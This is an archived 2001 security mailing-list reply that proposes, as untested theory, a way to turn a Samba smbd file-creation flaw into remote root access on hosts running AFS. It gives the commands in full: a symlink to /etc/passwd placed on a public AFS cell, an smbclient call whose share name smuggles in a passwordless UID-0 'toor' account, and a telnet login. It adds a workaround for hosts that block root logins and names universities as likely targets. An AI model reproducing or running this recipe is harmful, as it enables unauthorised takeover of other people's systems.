Re: smbd remote file creation vulnerability

From: Christopher William Palow (cwpat_private)
Date: Mon Jul 02 2001 - 08:15:29 PDT

  • Next message: Thomas Biege: "SuSE Security Announcement: scotty (SuSE-SA:2001:023)"

    I was hoping to test this out but haven't been able to so here goes on
    theoretical...  
    
    How to make this exploit a remote one using AFS or other remote file
    systems.
    
    What does this exploit need on the remote side??  A
    symlink; soo... on a AFS system ,preferably one of a well known node that
    most AFS servers would have in their CellServDB such as
    andrew.cmu.edu or athena.mit.edu, create a symlink to /etc/passwd named 
    x.log like
    
    ln -s /etc/passwd /afs/andrew.cmu.edu/usr/<username>/x.log
    
    now make the symlink world readable... then all you need is UNIXes running
    samba in the vulnerable configuration and running AFS.
    
    smbclient //afs.machine/"`perl -e '{print "\ntoor::0:0::/:/bin/sh\n"}'`" \ 
     -n ../../../afs/andrew.cmu.edu/usr/<username>/x -N
    telnet afs.machine
    login as toor
    
    if root logins aren't allowed make a dummy account first, login with that
    then make a toor account ontop of that and su over to toor.
    
    
    what machines does this really effect?  Those running samba and AFS,
    mainly educational institutions or other large institutions.
    
    
    Christopher Palow
    palowat_private
    Senior Electrical and Computer Engineering
    Carnegie Mellon University
    



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